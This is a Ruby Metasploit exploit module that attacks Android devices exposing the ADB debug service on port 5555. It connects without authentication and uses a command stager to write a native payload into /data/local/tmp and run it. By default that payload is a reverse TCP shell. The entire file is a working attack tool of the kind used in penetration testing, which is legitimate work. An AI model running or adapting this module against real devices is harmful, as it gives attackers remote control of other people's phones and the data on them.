require 'msf/core'
require 'rex/proto/adb'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Android ADB Debug Server Remote Payload Execution',
'Description' => %q{
Writes and spawns a native payload on an android device that is listening
for adb debug messages.
},
'Author' => ['joev'],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
'Targets' => [
['armle', {'Arch' => ARCH_ARMLE}],
['x86', {'Arch' => ARCH_X86}],
['x64', {'Arch' => ARCH_X86_64}],
['mipsle', {'Arch' => ARCH_MIPSLE}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2016'
))
register_options([
Opt::RPORT(5555),
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
], self.class)
end
def check
setup_adb_connection do
device_info = @adb_client.connect.data
print_good "Detected device:\n#{device_info}"
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts)
response = @adb_client.exec_cmd(cmd)
print_good "Command executed, response:\n #{response}"
end
def exploit
setup_adb_connection do
device_data = @adb_client.connect
print_good "Connected to device:\n#{device_data.data}"
execute_cmdstager({
flavor: :echo,
enc_format: :octal,
prefix: '\\\\0',
temp: datastore['WritableDir'],
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
background: true,
nodelete: true
})
end
end
def setup_adb_connection(&blk)
begin
print_status "Connecting to device..."
connect
@adb_client = Rex::Proto::ADB::Client.new(sock)
blk.call
ensure
disconnect
end
end
end
